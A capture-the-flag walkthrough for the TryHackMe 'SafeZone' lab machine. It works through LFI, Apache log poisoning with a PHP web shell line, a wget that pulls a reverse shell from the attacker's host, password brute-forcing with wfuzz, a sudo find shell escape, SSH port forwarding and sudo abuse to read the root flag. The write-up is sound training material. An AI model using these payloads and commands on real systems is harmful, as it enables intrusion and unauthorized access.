Practice
  • 🛤️TryHackMe Rooms
    • HackersVsHackers
    • Vulnnet - The End Game
    • Surfer
    • Corridor
    • Mustacchio
    • Wordpress: CVE-2021-29447
    • Bounty Hacker
    • Simple CTF
    • Agent Sudo
    • Lazy Admin
    • Ignite
    • Brooklynn 99
    • c4ptur3th3fl4g
    • Lian_Yu
    • Rabbit
    • Gallery
    • Overpass
    • Team
    • Easy Peasy
    • CmesS
    • Ultratech
    • Wonderland
    • Anonymous
    • GamingServer
    • Tomghost
    • ConvertMyVideo
    • DogCat
    • Blog
    • Git Happens
    • 0day
    • Road
    • Inferno
    • Opacity
    • Market Place
    • Valley CTF
    • Weasel
    • SafeZone
    • Blueprint
    • Fusion Corp
    • Quotient
    • Unbaked Pie
    • Kenobi
    • Steel Mountain
    • Alfred
    • Hack Park
    • Game Zone
    • Daily Bugle
    • Retro
    • Corp
    • Attacktive Directory
    • Vulnnet - Roasted
    • Vulnnet - Active
    • Vulnnet - Internal
    • Enterprise - Hard
    • Iron Corp - Hard
    • Ra - Hard
    • For Business Reasons
  • 📦HackTheBox
    • Linux Boxes
      • Lame
      • Shocker
      • Nibbles
      • Beep
      • Cronos
      • Nineveh
      • Sense
      • Solidstate
      • Node
      • Valentine
      • Poison
      • Sunday
      • Irked
      • FriendZone
      • Networked
      • Jarvis
      • Tabby
      • Mirai
      • Popcorn
    • Windows Boxes
      • Active
      • Forest
      • ChatterBox
      • Resolute
      • Intelligence
  • 🤖CTF's
    • CloudSEK CTFs
    • ACM Cyber - UCLA
  • ¯\_(ツ)_/¯
    • Interview Topics
  • 🪣BOF - OSCP
    • Basics
    • Spiking
    • FUZZing
    • Finding the Offset
    • Overwriting the EIP
    • Finding BAD Characters
    • Finding RIGHT Module
    • Generating Shellcode
  • 📛Active Directory
    • Basics
      • Managing AD Users
      • Managing AD Computers
      • Group Policies
      • Authentication Methods
      • Trees, Forests and Trusts
    • Enumeration Techniques
    • Initial Attack Vectors
    • Post Compromise Enumeration
    • Post Compromise Attacks
      • Token Impersonation - LM
      • Kerberoasting
      • cPassword / GPP Attack
      • URL File Attacks
      • PrintNightmare
      • Golden Ticket Attacks
      • ZeroLogon Attacks
    • Lateral Movement and Pivoting
      • File Transfers
      • Spawning Processes Remotely
      • Moving Laterally with WMI
      • Alternate Authentication Material
      • Abusing User's Behaviour
      • Port Forwarding
      • Maintaing Access
      • Pivoting
      • Cleaning Up
    • Other Resources
  • 🛡️Powershell Basics
    • Getting Started
      • Functions
  • 😁Others
    • API Security
    • Cloud Security
  • Enumeration
    • Local PrivEsc
    • Remoting
    • Persistence
    • Kerberos
Powered by GitBook
On this page
  • Scanning
  • Enumeration
  • Initial Compromise
  • Lateral Move ( www => files )
  • Lateral Move (files => yash)
  • Privilege Escalation => Root
  1. TryHackMe Rooms

SafeZone

LFI - Apache Log Poisoning - Lateral Move via find - Lateral move via SSH Local Port Forwarding - SSHPass Root flag read

PreviousWeaselNextBlueprint

Last updated 1 year ago

Scanning

Starting off with a Rustscan

The two open ports were 22 SSH and 80 HTTP

Enumeration

Starting off with some HTTP enumeration, Because port 80 had a web server running, I scanned it for any directories and files with GoBuster

$ gobuster dir -u safezone.thm -w /usr/share/dirb/wordlists/common.txt -x txt,php,sh,cgi,html,zip,bak,sql,old

With the GoBuster scan result there was a “index.php” site as well. When I went there, I got to a login form

I played around with the login form trying some default credentials - But I quickly got a message, that I had three login attempts in total - After three attempts I had to wait for 60 seconds

So I created a test account with “register.php” to get in and clicked through the tabs on the top Under “news.php” I found a hint for LFI

And when I got to the “Details” tab, I could find out, who I am - But it looked like I had no access to this feature

On the same site I found an interesting comment way down at the bottom

So I was definitely dealing with LFI right here. From the GoBuster scan result I went to the “note.txt” file to check it out and found this message

Message from admin: I can’t remember my password always , that’s why I have saved it in /home/files/pass.txt file

Here I struggled quite a while, because I tried to access this “pass.txt” file via LFI and the GET parameter I got in the source code

In here I got the definitive username and the password. But there had to be two numbers in between. Because that was the only hint, I had to try all the different numeric combinations. But I still had in mind, that I only had three login attempts. So I set up the numeric combinations with Python and saved it to a file

for i in {0..99}; do echo $i; done > numbers.txt

I manually edited the one digit numbers at the beginning to fit the scheme (from 0 to 00 and 1 to 01). With that prepared I ran it with wfuzz

wfuzz -c -z file,numbers.txt -d "username=admin&password=adminFUZZadmin&submit=Submit" -X POST -u http://safezone.thm/index.php -s 21

After a really long time I finally got the password and logged in as admin. Now I was able to access the feature on the “detail.php” page, as there was a textfield and a button.

  • I added the “?page=” parameter and tried some basic LFI paths. By directly entering the location of “/etc/passwd” I got the file content. Here the displayed text was black so I had to select everything to see it

Initial Compromise

Now with this LFI vulnerability I needed some kind of logs to get RCE. To search through this, I used some default locations and Burp. I got a hit with “/var/log/apache2/access.log”. In my first run the log file was way too large and I had to restart the machine

After a quick restart I now was able to access the log

Here I started with log poisoning and inserted with the intercepted Burp request this PHP line into the user-agent

<?php system($_GET['cmd']); ?>

Additionally I added the GET parameter to the location

GET /detail.php?page=/var/log/apache2/access.log&cmd=id
GET /detail.php?page=/var/log/apache2/access.log&cmd=wget%20'my-own-ip':8000/rev.php%20-O%20/home/files/rev.php

Lateral Move ( www => files )

By checking some basic privilege escalation vectors I got this output with the sudo -l command

sudo -u files /usr/bin/find . -exec /bin/sh \; -quit

Lateral Move (files => yash)

I checked the sudo -l command again and got another command

But I wasn’t able to execute it right now. In the home directory of the user “files” I saw the “pass.txt” file and another one with a fancy name

In the file with the long filename I got a password hash of the “files” user. I cracked it with John

sudo john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

With this I obtained the password and logged in via SSH. Then I was able to execute the sudo command

It just showed the ID of the user I provided. Because there was no entry on GTFOBins and no further use, I left the binary alone

Port Tunneling

I checked some more commands. With this one, I got a service on port 8000

ss -tulpn

I used SSH tunneling to open the port on my local machine

ssh -L 8002:localhost:8000 files@safezone.thm -fN

On my specified port 8002 I got to the web server but immediately got to a 403 page

When I ran GoBuster on that port, I got one interesting result

gobuster dir -u http://localhost:8002 -w /usr/share/dirb/wordlists/common.txt -x html,txt

Here I found a basic login form

Here I inspected the source code and there was a file called “login.js”

In here the credentials for the login got checkedin plain text and I just read them out

Reverse Shell

With those credentials I got in and got to the “pentest.php” site

No id or whoami, so some commands were blocked

echo "hi" > /home/files/test.txt

Then I inserted the following command to make the file world accessible

chmod 777 /home/files/test.txt

It totally worked and I could edit the file as the “files” user, even though it was owned by “yash”

That way I was able to insert a reverse shell to the file, without dealing with the command blacklist on the webserver. So I created the file and gave it the permissions as I did before. Then I entered the reverse shell and saved it

I set up my netcat listener and executed the reverse shell by entering the full path in the form field

Privilege Escalation => Root

Now as the user “yash” I got another output for the sudo -l command

I tested the full command by simply executing it

sudo /usr/bin/python3 /root/bk.py

I played around with it and when I just hit enter, I got the help message from “sshpass”

So I executed the command once again and wanted to transfer the “root.txt” file to the home directory of “yash”. I entered a random password and here any input should work

And after all this I finally got the root flag in the directory I entered and was able to read the content of it

But while searching online I found some Apache home directory locations right . And that’s it! The file was located at safezone.thm/~files/pass.txt

And with this I got my command output. Great! I immediately went ahead, set up my Python3 server and uploaded a PHP reverse shell from

With I got the command to elevate my privileges to the “files” user

🛤️
here
pentestmonkey
GTFOBins
login.html
Transfer root file
detail.php
root file
Login form
Attempts for login